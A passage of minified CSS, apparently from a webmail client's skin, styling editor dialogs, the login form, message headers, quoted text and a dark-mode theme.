.tox-button.tox-button--secondary:before{content:"\f00d"}div.tox .tox-dialog__footer .tox-button.tox-button--secondary:focus:not(:disabled){background:#8b9fa7;border-color:#8b9fa7}div.tox .tox-search-dialog .tox-form__group:not(:first-child){flex:initial!important}div.tox .tox-search-dialog .tox-dialog__footer-start button{padding:.25rem}div.tox .tox-search-dialog .tox-dialog__footer-end button:before{content:"\f303"!important}div.tox .tox-search-dialog .tox-dialog__footer-end button:nth-of-type(1):before{content:"\f002"!important}div.tox .tox-dialog__title{line-height:calc(58px - 1px);font-size:1.25rem;font-weight:700;padding:0 0 0 1rem;width:100%;color:#2c363a}div.tox .tox-tbtn{height:28px}div.tox .tox-tbtn:not(.tox-tbtn--select,.tox-split-button__chevron){width:32px}div.tox .tox-button{line-height:1.5}div.tox .tox-label{color:#2c363a;padding-bottom:.25rem}div.tox .tox-color-input>input,div.tox .tox-listboxfield .tox-listbox--select,div.tox .tox-textarea,div.tox .tox-textfield{font-family:Roboto,sans-serif!important;font-size:14px;line-height:1.5;color:#2c363a;border-radius:.25rem;min-height:0;padding:.375rem .75rem}div.tox .tox-color-input>input:focus,div.tox .tox-listboxfield .tox-listbox--select:focus,div.tox .tox-textarea:focus,div.tox .tox-textfield:focus{border-color:#37beff;box-shadow:0 0 0 .2rem rgba(55,190,255,.25)}div.tox .tox-listbox__select-label{margin:0}div.tox .tox-color-input span{top:5px}div.tox .custom-switch{position:relative;font-size:1rem;margin-top:.15rem}div.tox .custom-switch .tox-checkbox__label{margin:0}div.tox .image-selector{font-size:1rem}div.tox .image-selector button{color:#fff;background:#8b9fa7;border-color:#8b9fa7;padding:.5rem .75rem;line-height:1.5}div.tox .image-selector button:focus,div.tox .image-selector button:hover{background:#7c939c;border-color:#778e98}div.tox .image-selector button:focus{box-shadow:0 0 0 .2rem rgba(139,159,167,.5)}div.tox .image-selector button.disabled,div.tox .image-selector button:disabled{background:#8b9fa7;border-color:#8b9fa7}div.tox .image-selector button:not(:disabled):not(.disabled).active,div.tox .image-selector button:not(:disabled):not(.disabled):active{background:#6e8791;border-color:#6a828b}div.tox .image-selector button:not(:disabled):not(.disabled).active:focus,div.tox .image-selector button:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 .2rem rgba(139,159,167,.53)}div.tox .tox-form__controls-h-stack div:not(:last-child){flex:1}div.tox .tox-collection__item-label{white-space:nowrap}@media screen and (max-width:480px){div.tox .tox-dialog__footer,div.tox .tox-dialog__header{background-color:#f4f4f4}div.tox .tox-dialog{margin:0!important;width:100%!important;height:100%;left:0!important;top:0!important;border-width:0!important}div.tox .tox-dialog__header .tox-button{display:none}div.tox .tox-dialog__title{font-size:1rem;text-align:center;padding:0 1rem}div.tox .tox-dialog__footer .tox-button{color:#2c363a!important;background:0 0!important;padding:.45rem;margin:0!important;border:0;font-size:90%}div.tox .tox-dialog__footer .tox-button:before{display:block;float:none;width:100%;margin:0;line-height:1.75;height:1.75rem}div.tox .tox-dialog__footer .tox-button:active,div.tox .tox-dialog__footer .tox-button:focus,div.tox .tox-dialog__footer .tox-button:hover{background:0 0;border:0;box-shadow:none;color:#2c363a}div.tox .tox-dialog__footer>div{justify-content:space-evenly;display:flex;width:100%}div.tox .tox-dialog__footer>div:empty{display:none}}.image-selector{padding:1rem .5rem 10rem!important}.image-selector.droptarget{border:.2rem dashed #d4dbde}.image-selector.droptarget:after{margin-top:2rem}.image-selector form{position:absolute;top:0}.image-selector .attachmentslist{margin:0;overflow-x:hidden;overflow-y:auto;height:19.1em;padding:0!important}.image-selector .attachmentslist li{padding:.25rem;cursor:pointer}.image-selector .attachmentslist li:before{display:none}.image-selector .attachmentslist li:focus,.image-selector .attachmentslist li:hover{background:#ebf9ff}.image-selector .attachmentslist li span.name{flex:1;margin:auto;padding-left:1rem;overflow:hidden;text-overflow:ellipsis}.image-selector .attachmentslist li span.img{height:80px;width:80px;display:flex;border:1px solid #f1f3f4;background:#fff;border-radius:.75rem;overflow:hidden}.image-selector .attachmentslist li img{margin:auto}html.layout-phone .image-selector .attachmentslist{height:auto}.html-editor{position:relative;margin-bottom:.2rem}.html-editor .editor-toolbar{position:absolute;left:1px;top:1px;right:1px;border-radius:.25rem .25rem 0 0;border-bottom:1px solid #ced4da;background-color:#f1f3f4}.html-editor .editor-toolbar .mce-i-html{display:block;margin:2px 2px 2px 4px;width:34px;height:28px;border-radius:.25rem;color:#222f3e}.html-editor .editor-toolbar .mce-i-html:focus,.html-editor .editor-toolbar .mce-i-html:hover{text-decoration:none;border-color:#e2e4e7;background-color:#dee0e2}.html-editor .editor-toolbar .mce-i-html:before{content:"\f03e";margin:0;width:34px;line-height:28px}.html-editor .editor-toolbar .mce-i-html[disabled]{opacity:.7;cursor:not-allowed}.html-editor .tox-tinymce+.editor-toolbar,.html-editor.mailvelope .editor-toolbar{display:none}.html-editor>.googie_edit_layer,.html-editor>textarea{font-family:monospace;font-size:13px;width:100%!important;padding-top:40px;resize:none}.html-editor>iframe{border-radius:.3rem;border:1px solid #ced4da;min-height:30em}.googie_window{width:16rem;height:auto}.googie_edit_layer{font-family:monospace;padding:.5rem .75rem;border:1px solid #ced4da;border-radius:.3rem;line-height:1.5}.googie_link{color:#ff5552;text-decoration:underline;cursor:pointer}.googie_list li{min-width:8rem;width:auto}.googie_list li.googie_list_onhover{color:#fff;background-color:#37beff}.googie_list li .googie_list_revert:before{content:"\f0e2"}.googie_list li .googie_add_to_dict:before{content:"\f0fe"}.googie_list input{display:inline-block;margin:.25rem .5rem}.task-login #layout-content{text-align:center;width:100%;display:block}.task-login #logo{display:inline-block;position:relative;top:16vh;max-height:100px}#login-form{margin:0 auto;top:20vh;width:95%;max-width:320px;position:relative}#login-form table,#login-form tbody{display:block}#login-form .row{margin-right:0;margin-left:0}#login-form .oauthlogin{margin-top:1em;padding-top:1em}#login-form .formbuttons+.oauthlogin{border-top:1px solid #ccc}#rcmloginsubmit:before{display:none!important}#login-footer{flex:1;color:#737677}#login-footer>div{margin-top:1rem;padding:1rem;background:#f1f3f4;border-radius:.3rem}#login-addon{position:absolute;bottom:0;max-height:30%;margin:1rem!important;width:auto!important;overflow:auto}@media screen and (min-width:769px){#login-addon{max-width:768px;margin:auto!important;bottom:1rem;left:0;right:0}}body.task-error-login #layout #layout-content>.header,body.task-error-login #layout #layout-menu{display:none}#contactpic{width:112px;height:135px;border-radius:.5rem;overflow:hidden;display:table-cell;vertical-align:middle;text-align:center;background-color:#f4f4f4}#contactpic img{max-width:112px;max-height:135px}#contacthead .names{margin-bottom:.5rem}#contacthead .names span.namefield{font-size:1.5rem;font-weight:700;line-height:1.2}#contacthead.readonly .source.row{color:#737677;font-size:90%;margin-bottom:.25rem}#message-header{margin-bottom:1rem}#message-header>.subject{font-size:1.5rem;font-weight:700}body.status-flagged #message-header>.subject:before{display:inline;float:none;content:"\f024";font-size:1em;color:#ff5552}#message-header>.subject a.extwin{text-decoration:none}#message-header>.subject a.extwin:before{float:none;display:inline-block;font-size:75%;line-height:1.5;margin:0;content:"\f360"}#message-header>.subject span.inner{display:none}#message-header>.header{display:flex}#message-header>.header img.contactphoto{margin:0 1rem 0 0;border-radius:50%;width:4rem;height:4rem;object-fit:cover;background:#f4f4f4}#message-header .header-links,#message-header .header-summary{margin-top:.25rem}#message-header .header-content{min-height:4rem;flex:1}#message-header .header-content.details-view .header-summary{display:none}#message-header .header-content.details-view .header-headers{display:initial}#message-header .header-summary>span{display:inline-block}#message-header .header-headers{display:none}#message-header .header-headers .header-title{white-space:nowrap;color:#737677;font-weight:700;padding-right:1rem;vertical-align:top}#message-header .header-links a{font-size:90%;margin-right:.5rem;text-decoration:none;white-space:nowrap;display:inline-block}#message-header .header-links a:before{height:1.5rem;line-height:1.3}#message-header .header-links a.headers-details:before{content:"\f0e0"}#message-header .header-links a.headers-summary:before{content:"\f0e0";font-weight:400}#message-header .header-links a.headers-all:before{content:"\f05a"}#message-header .header-links a.html:before{content:"\f03e"}#message-header .header-links a.plain:before{content:"\f039"}#message-header .header-links a.zipdownload:before{content:"\f019"}.message-partheaders{padding:.25rem .5rem;margin:.5rem 0 -.5rem;border-top:1px solid #f4f4f4;background-color:#fcfcfc}.message-partheaders table.headers-table{font-size:90%;color:#737677}.message-partheaders table.headers-table .header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;max-width:8em;font-weight:700;padding-right:1rem;vertical-align:top}.message-partheaders table.headers-table .subject{font-weight:700}.message-partheaders table.headers-table+.message-htmlpart,.message-partheaders table.headers-table+.message-part{border-top:0;margin:0}#message-content .attachmentslist:not(:empty){margin-bottom:1rem}#messagebody.mailvelope iframe{min-height:75vh}.message-htmlpart,.message-part{padding-top:.5rem;position:relative}.message-htmlpart:not(:first-child),.message-part:not(:first-child){border-top:1px solid #f4f4f4;margin-top:.5rem}.message-htmlpart:last-child,.message-part:last-child{margin-bottom:.5rem}.message-htmlpart div.rcmBody,.message-part div.rcmBody{margin:0 auto!important}.message-htmlpart blockquote,.message-part blockquote{overflow:hidden;text-overflow:ellipsis;color:#006a9d;border-left:2px solid #006a9d;border-right:2px solid #006a9d;background-color:rgba(241,243,244,.5);margin:2px 0;padding:0 .4em}.message-htmlpart blockquote blockquote,.message-part blockquote blockquote{color:#205a24;border-left:2px solid #205a24;border-right:2px solid #205a24}.message-htmlpart blockquote blockquote blockquote,.message-part blockquote blockquote blockquote{color:#eb0400;border-left:2px solid #eb0400;border-right:2px solid #eb0400}.message-htmlpart blockquote span.blockquote-link,.message-part blockquote span.blockquote-link{top:0;cursor:pointer;right:.5rem;min-width:4rem;padding:.2rem .25rem .2rem .5rem;font-size:90%;text-align:center;color:#737677;background:#f1f3f4;border:1px solid #d4dbde;border-radius:.3rem;line-height:1;font-family:Roboto,sans-serif}.message-htmlpart blockquote span.blockquote-link:after,.message-part blockquote span.blockquote-link:after{content:"\f107";display:inline-block;float:none;margin:0;font-size:90%}.message-htmlpart blockquote span.blockquote-link.collapsed:after,.message-part blockquote span.blockquote-link.collapsed:after{content:"\f106"}.message-htmlpart blockquote.blockquote-header,.message-part blockquote.blockquote-header{text-overflow:ellipsis!important;padding-right:5rem!important}.message-part span.sig{color:#737677}.message-part div.pre{font-family:monospace;font-size:13px}.message-part blockquote{display:inline-block;min-width:100%}.message-part blockquote+br{display:block;margin-top:1em}#compose-attachments{margin:1rem 1rem 0}#composestatusbar{opacity:.3;right:2.5rem}@media screen and (min-width:769px){#composestatusbar{display:none}}#composestatusbar a.button{display:inline-block}#composestatusbar a.button:before{line-height:58px;font-size:1.25rem!important}.settings-default-icon li>a:before,.settings-default-icon tr>td.section::before{content:"\f013"}html.dark-mode{scrollbar-color:#007bb7 #4d6066}html.dark-mode:not(.touch) ::-webkit-scrollbar-track{background-color:#4d6066}html.dark-mode:not(.touch) ::-webkit-scrollbar-thumb{background-color:#007bb7}html.dark-mode body{color:#c5d1d3;background-color:#21292c}html.dark-mode #logo{opacity:.8}html.dark-mode #layout-content,html.dark-mode #layout-list,html.dark-mode #layout-sidebar,html.dark-mode #layout>div>.footer,html.dark-mode #layout>div>.header,html.dark-mode .menu.pagenav.pagenav-list,html.dark-mode .menu.pagenav.pagenav-list+.navlist,html.dark-mode .menu.pagenav.pagenav-list.expanded+.navlist,html.dark-mode .popup .listbox .footer{background-color:transparent;border-color:#4d6066}html.dark-mode #layout>div>.footer{font-weight:400}html.dark-mode #layout>div>.footer,html.dark-mode #layout>div>.header{color:unset}html.dark-mode #layout>div>.footer a.button,html.dark-mode #layout>div>.header a.button{color:#c5d1d3}html.dark-mode #layout-menu{background:unset;border-right:1px solid #4d6066}html.dark-mode #layout-menu .popover-header,html.dark-mode #layout-menu .special-buttons{background:0 0!important}@media screen and (max-width:480px){html.dark-mode #layout-menu{border-left:0}html.dark-mode #layout-menu .popover-header{border-bottom:1px solid #4d6066}}html.dark-mode #layout-menu .special-buttons a:not(:focus){background:#21292c}html.dark-mode.layout-phone #layout-menu{background:#161b1d}html.dark-mode .searchbar{background-color:transparent;border-color:#4d6066}html.dark-mode .searchbar a,html.dark-mode .searchbar form:before,html.dark-mode .searchbar input{color:unset}html.dark-mode .searchbar a.selected{color:#41b849}html.dark-mode #messagestack div,html.dark-mode #messagestack div i.icon:before{color:#c5d1d3}html.dark-mode #messagestack .alert-info,html.dark-mode .ui.alert.boxinformation{background-color:#217299}html.dark-mode #messagestack .alert-danger,html.dark-mode .ui.alert.boxerror{background-color:#993331}html.dark-mode #messagestack .alert-warning,html.dark-mode .ui.alert.boxwarning{background-color:#997f31}html.dark-mode #messagestack .alert-success,html.dark-mode .ui.alert.boxconfirmation{background-color:#276e2c}html.dark-mode #messagestack .loading{background-color:#374449}html.dark-mode .ui.alert.boxconfirmation,html.dark-mode .ui.alert.boxconfirmation i.icon:before,html.dark-mode .ui.alert.boxerror,html.dark-mode .ui.alert.boxerror i.icon:before,html.dark-mode .ui.alert.boxinformation,html.dark-mode .ui.alert.boxinformation i.icon:before,html.dark-mode .ui.alert.boxwarning,html.dark-mode .ui.alert.boxwarning i.icon:before{color:#c5d1d3}html.dark-mode .ui.alert a:not(.btn){color:#c5d1d3;text-decoration:underline}html.dark-mode .iframe-loader{background-color:rgba(33,41,44,.9)}html.dark-mode .iframe-loader .spinner-border{color:#7d989c;border-color:currentColor #425457 currentColor currentColor}html.dark-mode #taskmenu a,html.dark-mode .menu.toolbar a{color:#c5d1d3}html.dark-mode #taskmenu a.selected,html.dark-mode .menu.toolbar a.selected{background-color:#374549}html.dark-mode .menu.pagenav .pagenav-text,html.dark-mode .menu.pagenav a,html.dark-mode .popover .menu li a[aria-haspopup]::after,html.dark-mode pre{color:unset}html.dark-mode #taskmenu .action-buttons a{color:#37beff}@media screen and (max-width:480px){html.dark-mode #taskmenu a{border-color:#2c373a!important}html.dark-mode #taskmenu a.selected{background:0 0}}@media screen and (min-width:481px) and (max-width:1024px){html.dark-mode #taskmenu a{width:41px}}@media screen and (min-width:1025px){html.dark-mode #taskmenu a{width:77px}}html.dark-mode.layout-phone .popover,html.dark-mode.layout-small .popover{border-left:1px solid #4d6066}html.dark-mode.layout-phone .popover .menu .dropbutton a.dropdown,html.dark-mode.layout-small .popover .menu .dropbutton a.dropdown{background:0 0}html.dark-mode.layout-phone .popover:not(.select-menu) .listing li:last-child,html.dark-mode.layout-small .popover:not(.select-menu) .listing li:last-child{border-color:#2c373a}html.dark-mode.layout-phone .popover-header,html.dark-mode.layout-small .popover-header{background:#161b1d;border-bottom:1px solid #4d6066;color:unset}html.dark-mode.layout-phone .popover-overlay,html.dark-mode.layout-small .popover-overlay{background:rgba(0,0,0,.7)}html.dark-mode #taskmenu a:hover,html.dark-mode .header a.button.icon:not(.disabled):focus,html.dark-mode .header a.button.icon:not(.disabled):hover,html.dark-mode .menu a:not(.disabled):focus,html.dark-mode .menu a:not(.disabled):hover,html.dark-mode .menu.toolbar .dropbutton:not(.disabled):hover,html.dark-mode .popupmenu .listing li>a:not(.disabled):hover{background-color:#374549}html.dark-mode .menu.toolbar a.selected{color:#41b849;background:0 0}html.dark-mode .menu.toolbar .dropbutton a.dropdown:hover{background-color:#425358}html.dark-mode .listing li a,html.dark-mode .listing tbody td,html.dark-mode .listing tbody td a,html.dark-mode .proplist li.with-sublist>a.dropdown{color:#c5d1d3}html.dark-mode .listing li,html.dark-mode .listing li ul,html.dark-mode .listing tbody td{border-color:#2c373a}html.dark-mode .listing li.selected,html.dark-mode .listing li.selected>a,html.dark-mode .listing li.selected>div>a,html.dark-mode .listing tr.selected td{color:#37beff;background-color:#374549}html.dark-mode .listing li.selected ul{background-color:#21292c}html.dark-mode .listing li.selected ul div.treetoggle{color:#c5d1d3}html.dark-mode .listing li.disabled,html.dark-mode .listing tr.disabled td{color:#637e82}html.dark-mode .listing li.droptarget>a,html.dark-mode .listing tr.droptarget>td{background-color:#4d4d00}html.dark-mode .messagelist{color:#c5d1d3}html.dark-mode .messagelist tr:not(.flagged):not(.deleted) td.subject span.date,html.dark-mode .messagelist tr:not(.flagged):not(.deleted) td.subject span.fromto,html.dark-mode .messagelist tr:not(.flagged):not(.deleted) td.subject span.size{color:#8ba3a7}html.dark-mode .messagelist tr:not(.flagged):not(.deleted) td.subject span.msgicon.status{color:#c5d1d3}html.dark-mode .messagelist tr:not(.flagged):not(.deleted) td.subject span.msgicon.status.unread::before{color:#b88a00}html.dark-mode .messagelist tr:not(.flagged):not(.deleted) span.flag{color:#c5d1d3}html.dark-mode .messagelist tr:not(.flagged):not(.deleted).selected td.subject a,html.dark-mode .messagelist tr:not(.flagged):not(.deleted).selected td.subject span.msgicon.status{color:#37beff}html.dark-mode .messagelist tr.flagged:not(.deleted) span.attachment span,html.dark-mode .messagelist tr.flagged:not(.deleted) td{color:#ff5552}html.dark-mode .messagelist tr.deleted td span.attachment span,html.dark-mode .messagelist tr.deleted td span.flag,html.dark-mode .messagelist tr.deleted td.subject span.date,html.dark-mode .messagelist tr.deleted td.subject span.fromto,html.dark-mode .messagelist tr.deleted td.subject span.msgicon.status,html.dark-mode .messagelist tr.deleted td.subject span.msgicon.status.unread:before,html.dark-mode .messagelist tr.deleted td.subject span.subject a{color:#637e82}html.dark-mode .messagelist span.attachment span{color:#8ba3a7}html.dark-mode .folderlist li.mailbox .unreadcount{background-color:#4d6066;color:#e2e8e9;font-weight:400}html.dark-mode .attachmentslist{background-color:#374549;border:0}html.dark-mode .attachmentslist a,html.dark-mode .attachmentslist li .attachment-name{color:#c5d1d3}html.dark-mode .attachmentslist li .attachment-size{color:#8ba3a7}html.dark-mode .btn{color:#c5d1d3}html.dark-mode .btn:focus,html.dark-mode .btn:hover{color:#e2e8e9}html.dark-mode .btn:disabled{opacity:.5!important}html.dark-mode .btn-primary{background-color:#006a9d;color:#e2e8e9}html.dark-mode .btn-primary:hover:not(:disabled){background-color:#007bb7}html.dark-mode .btn-secondary{background-color:#4d6066;color:#e2e8e9}html.dark-mode .btn-secondary:hover:not(:disabled){background-color:#586e75}html.dark-mode .btn-danger{background-color:#993331;color:#e2e8e9}html.dark-mode .btn-danger:hover:not(:disabled){background-color:#ac3937}html.dark-mode .floating-action-buttons a.button{box-shadow:none;background:#006a9d}html.dark-mode .custom-file-label,html.dark-mode .form-control{background-color:#21292c;color:#c5d1d3}html.dark-mode .custom-file-label:not(.is-invalid),html.dark-mode .form-control:not(.is-invalid){border-color:#7c949c}html.dark-mode .custom-file-label:focus,html.dark-mode .form-control:focus{background-color:#2c373b}html.dark-mode .custom-file-label:focus:not(.is-invalid),html.dark-mode .form-control:focus:not(.is-invalid){color:#e2e7e9!important;border-color:#37beff}html.dark-mode .custom-file-label::after{color:#c5d1d3;background-color:#374549}html.dark-mode .custom-select{background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23c5d1d3' viewBox='0 0 4 5'%3e%3cpath d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat}html.dark-mode .custom-switch .custom-control-label::before{background-color:#4d6066}html.dark-mode .custom-switch .custom-control-label::after{background-color:#c5d1d3}html.dark-mode .custom-switch .custom-control-input:disabled~.custom-control-label{opacity:.4}html.dark-mode .tox .tox-dialog__footer .tox-button:disabled,html.dark-mode input:disabled,html.dark-mode select:disabled{opacity:.5}html.dark-mode .custom-switch .custom-control-input:checked~.custom-control-label::before{background-color:#006a9d}html.dark-mode .custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#c5d1d3}html.dark-mode .multi-input:not(.is-invalid)>.content{border-color:#7c949c}html.dark-mode .multi-input:not(.is-invalid)>.content.focused{border-color:#37beff}html.dark-mode .input-group-text{color:#c5d1d3;background-color:#374549;border-color:#7c949c}html.dark-mode .input-group a:focus{border-color:#37beff;box-shadow:0 0 0 .2rem rgba(55,190,255,.25);z-index:1}html.dark-mode .form-control-plaintext{color:unset}html.dark-mode .recipient-input.focus{color:#e2e7e9;background-color:#2c373b;border-color:#37beff}html.dark-mode .recipient-input a.button.icon,html.dark-mode .recipient-input input{color:#c5d1d3}html.dark-mode .recipient-input .recipient{background-color:#374549;border-color:#7c949c}html.dark-mode .file-upload{border-color:#4d6066}html.dark-mode .file-upload:after{mix-blend-mode:soft-light}html.dark-mode .file-upload.droptarget.active{border-color:#c5d1d3}html.dark-mode .file-upload.droptarget.hover{border-color:#c5d1d3;background-color:#374549}html.dark-mode .file-upload .attachmentslist{background:0 0}html.dark-mode .image-upload{background-color:#374549}html.dark-mode .image-upload a.button{background-color:rgba(33,41,44,.25)}html.dark-mode .formcontent.raweditor .CodeMirror{color:#c5d1d3;background-color:#21292c;border-color:#7c949c}html.dark-mode .formcontent.raweditor .CodeMirror-focused{background-color:#2c373b;border-color:#37beff}html.dark-mode .CodeMirror-line::selection,html.dark-mode .CodeMirror-line>span::selection,html.dark-mode .CodeMirror-line>span>span::selection,html.dark-mode .CodeMirror-selected{background:#374549}html.dark-mode .CodeMirror-gutters{background-color:#212a2c;border:0}html.dark-mode .CodeMirror-activeline-background{background:#374549}html.dark-mode .skinselection .skinthumbnail{border-color:#7c949c;background:0 0}html.dark-mode .html-editor .editor-toolbar{background-color:#374549;border-color:#7c949c}html.dark-mode .html-editor .editor-toolbar .mce-i-html{color:unset}html.dark-mode .html-editor .editor-toolbar .mce-i-html:focus,html.dark-mode .html-editor .editor-toolbar .mce-i-html:hover{background-color:#586e75;border-color:transparent}html.dark-mode .tox.tox-tinymce{border-color:#7c949c}html.dark-mode .tox .tox-toolbar{background-color:#374549;border-color:#7c949c}html.dark-mode .tox .tox-toolbar-overlord>div{background:url("data:image/svg+xml,%3Csvg height='33px' viewBox='0 0 40 33px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='32px' width='100' height='1' fill='%237c949c'/%3E%3C/svg%3E") #374549}html.dark-mode .tox .tox-pop.tox-pop--top:after,html.dark-mode .tox .tox-pop.tox-pop--top:before{border-bottom-color:#8b9fa7}html.dark-mode .tox .tox-pop__dialog{box-shadow:none;border-color:#8b9fa7}html.dark-mode .tox .tox-split-button,html.dark-mode .tox .tox-swatches__picker-btn,html.dark-mode .tox .tox-tbtn{color:#c5d1d3}html.dark-mode .tox .tox-split-button svg,html.dark-mode .tox .tox-swatches__picker-btn svg,html.dark-mode .tox .tox-tbtn svg{fill:#c5d1d3!important}html.dark-mode .tox .tox-collection__item-caret svg,html.dark-mode .tox .tox-selectfield svg{fill:#c5d1d3}html.dark-mode .tox .tox-split-button:focus,html.dark-mode .tox .tox-split-button:hover,html.dark-mode .tox .tox-swatches__picker-btn:focus,html.dark-mode .tox .tox-swatches__picker-btn:hover,html.dark-mode .tox .tox-tbtn:focus,html.dark-mode .tox .tox-tbtn:hover{color:#c5d1d3;background:#586e75;box-shadow:none}html.dark-mode .tox .tox-tbtn--enabled{background:#586e75}html.dark-mode .tox .tox-button--naked.tox-button--icon:hover:not(:disabled),html.dark-mode .tox .tox-button--naked:focus:not(:disabled){color:#d4ddde;background-color:#586e75;border-color:transparent}html.dark-mode .tox .tox-button--naked:disabled{background:0 0;border:transparent}html.dark-mode .tox .tox-dialog__header .tox-button--naked:hover{background:0 0!important}html.dark-mode .tox .tox-selectfield select{background:0 0;color:#c5d1d3}html.dark-mode .tox .tox-color-input span::before{background-color:#c5d1d3}html.dark-mode .tox .tox-toolbar__group:not(:last-of-type){border-color:#7c949c}html.dark-mode .tox .tox-dialog,html.dark-mode .tox .tox-dialog__body,html.dark-mode .tox .tox-dialog__footer,html.dark-mode .tox .tox-dialog__header,html.dark-mode .tox .tox-dialog__title{color:#c5d1d3;border-color:#4d6066;background-color:#21292c}html.dark-mode .tox .tox-button--naked,html.dark-mode .tox .tox-color-input>input,html.dark-mode .tox .tox-dialog__body-nav-item,html.dark-mode .tox .tox-dialog__header .tox-button,html.dark-mode .tox .tox-insert-table-picker__label,html.dark-mode .tox .tox-label,html.dark-mode .tox .tox-textfield{color:#c5d1d3}html.dark-mode .tox .tox-dialog__footer .tox-button{background-color:#006a9d;color:#e2e8e9}@media screen and (max-width:480px){html.dark-mode .tox .tox-dialog__footer .tox-button{color:#c5d1d3!important}}html.dark-mode .tox .tox-dialog__footer .tox-button:focus:not(:disabled){background-color:#006a9d}html.dark-mode .tox .tox-dialog__footer .tox-button:hover:not(:disabled){background-color:#007bb7}html.dark-mode .tox .tox-dialog__footer .tox-button.tox-button--secondary{background-color:#4d6066;color:#e2e8e9}html.dark-mode .tox .tox-dialog__footer .tox-button.tox-button--secondary:focus:not(:disabled){background-color:#4d6066}html.dark-mode .tox .tox-dialog__footer .tox-button.tox-button--secondary:hover:not(:disabled){background-color:#586e75}html.dark-mode .tox .tox-dialog__body-nav-item--active{color:#37beff}html.dark-mode .tox .tox-dialog-wrap__backdrop{background-color:rgba(0,0,0,.7)}html.dark-mode .tox .tox-menu{background-color:#161b1d;border-color:#8b9fa7;box-shadow:none}html.dark-mode .tox .tox-collection__item{color:#c5d1d3}html.dark-mode .tox .tox-collection__item:not(:last-child){border-bottom:1px solid #2c373a}html.dark-mode .tox .tox-collection--grid .tox-collection__item{border:0}html.dark-mode .tox .tox-collection__item--active,html.dark-mode .tox .tox-collection__item--active:not(.tox-collection__item--state-disabled){color:#c5d1d3;background-color:#374549}html.dark-mode .tox .tox-collection__item--enabled{color:#37beff;background-color:#374549}html.dark-mode .message-htmlpart,html.dark-mode .message-part{border-color:#4d6066}html.dark-mode .message-htmlpart blockquote,html.dark-mode .message-part blockquote{background-color:#21292c;border-color:#6acfff;color:#6acfff}html.dark-mode .message-htmlpart blockquote span.blockquote-link,html.dark-mode .message-part blockquote span.blockquote-link{color:currentColor;background:#21292c;border-color:currentColor}html.dark-mode .message-htmlpart blockquote blockquote,html.dark-mode .message-part blockquote blockquote{color:#64c86b;border-color:#64c86b}html.dark-mode .message-htmlpart blockquote blockquote blockquote,html.dark-mode .message-part blockquote blockquote blockquote{color:#ff8785;border-color:#ff8785}html.dark-mode .message-part span.sig{color:#8ba3a7}html.dark-mode .message-htmlpart{background-color:#fff;color:#2c363a;padding:0;margin-top:.5rem}html.dark-mode #message-header .header-headers .header-title{color:#c5d1d3;font-weight:400}html.dark-mode .message-partheaders{background-color:#374549;border:0}html.dark-mode .ui-datepicker .ui-datepicker-header,html.dark-mode .ui-dialog .ui-dialog-buttonpane,html.dark-mode .ui-dialog .ui-dialog-titlebar,html.dark-mode .ui-widget,html.dark-mode fieldset.image-attachment legend,html.dark-mode p.image-attachment{border-color:#4d6066}html.dark-mode .message-partheaders table.headers-table{color:#c5d1d3}html.dark-mode .message-partheaders table.headers-table *{font-weight:400}html.dark-mode p.image-attachment{background-color:#374549}html.dark-mode fieldset.image-attachment legend,html.dark-mode p.image-attachment span{color:#8ba3a7}html.dark-mode #messagepartframe{background:#fff}html.dark-mode .ui-widget-overlay{background-color:rgba(0,0,0,.7)}html.dark-mode .ui-widget-content,html.dark-mode .ui-widget-header{background-color:#21292c}html.dark-mode .ui-dialog .ui-dialog-title,html.dark-mode .ui-dialog .ui-dialog-titlebar-close{color:#c5d1d3;background:0 0}html.dark-mode .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link{color:#c5d1d3}html.dark-mode .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link:focus{background:0 0}@media screen and (max-width:480px){html.dark-mode .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.btn-primary:not(.btn-danger),html.dark-mode .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.btn-secondary{color:#c5d1d3}}html.dark-mode .ui-datepicker th{color:#8ba3a7;font-size:80%;font-weight:400}html.dark-mode .ui-datepicker .ui-datepicker-next,html.dark-mode .ui-datepicker .ui-datepicker-prev,html.dark-mode .ui-datepicker .ui-state-default,html.dark-mode .ui-datepicker.ui-widget-content .ui-state-default{color:#c5d1d3}html.dark-mode .ui-datepicker .ui-state-highlight,html.dark-mode .ui-datepicker.ui-widget-content .ui-state-highlight{color:#37beff;background-color:#374549}html.dark-mode .ui-datepicker .ui-datepicker-days-cell-over a{background-color:#4d6066}html.dark-mode .ui-menu{background-color:#161b1d;border-color:#8b9fa7;box-shadow:none}html.dark-mode .ui-menu .ui-menu-item{border-bottom:1px solid #2c373a}html.dark-mode .ui-menu .ui-state-active{background-color:#374549!important}html.dark-mode .minicolors-panel{box-shadow:none;border-color:#4d6066;background:#161b1d}html.dark-mode #contacthead.readonly .source.row,html.dark-mode #login-footer,html.dark-mode .contactlist span.email,html.dark-mode .file-upload .hint,html.dark-mode .formcontent .hint,html.dark-mode .listing span.secondary,html.dark-mode .listing-info,html.dark-mode ::-webkit-input-placeholder,html.dark-mode ::placeholder{font-weight:400;color:#8ba3a7}html.dark-mode .popover{background-color:#161b1d;border-color:#8b9fa7;box-shadow:none}html.dark-mode .popover .menu li.separator{background-color:transparent;color:#8ba3a7}html.dark-mode .popover .menu ul+li.separator{border-top:1px solid #2c373a}html.dark-mode .popover-body{color:#c5d1d3}html.dark-mode .bs-popover-auto[x-placement^=right]>.arrow::after,html.dark-mode .bs-popover-right>.arrow::after{border-right-color:#8b9fa7}html.dark-mode .bs-popover-auto[x-placement^=left]>.arrow::after,html.dark-mode .bs-popover-left>.arrow::after{border-left-color:#8b9fa7}html.dark-mode .bs-popover-auto[x-placement^=top]>.arrow::after,html.dark-mode .bs-popover-top>.arrow::after{border-top-color:#8b9fa7}html.dark-mode .bs-popover-auto[x-placement^=bottom]>.arrow::after,html.dark-mode .bs-popover-bottom>.arrow::after{border-bottom-color:#8b9fa7}html.dark-mode .nav-tabs{border-color:#4d6066}html.dark-mode .nav-tabs .nav-link{color:#c5d1d3;border-color:transparent transparent #4d6066}html.dark-mode .nav-tabs 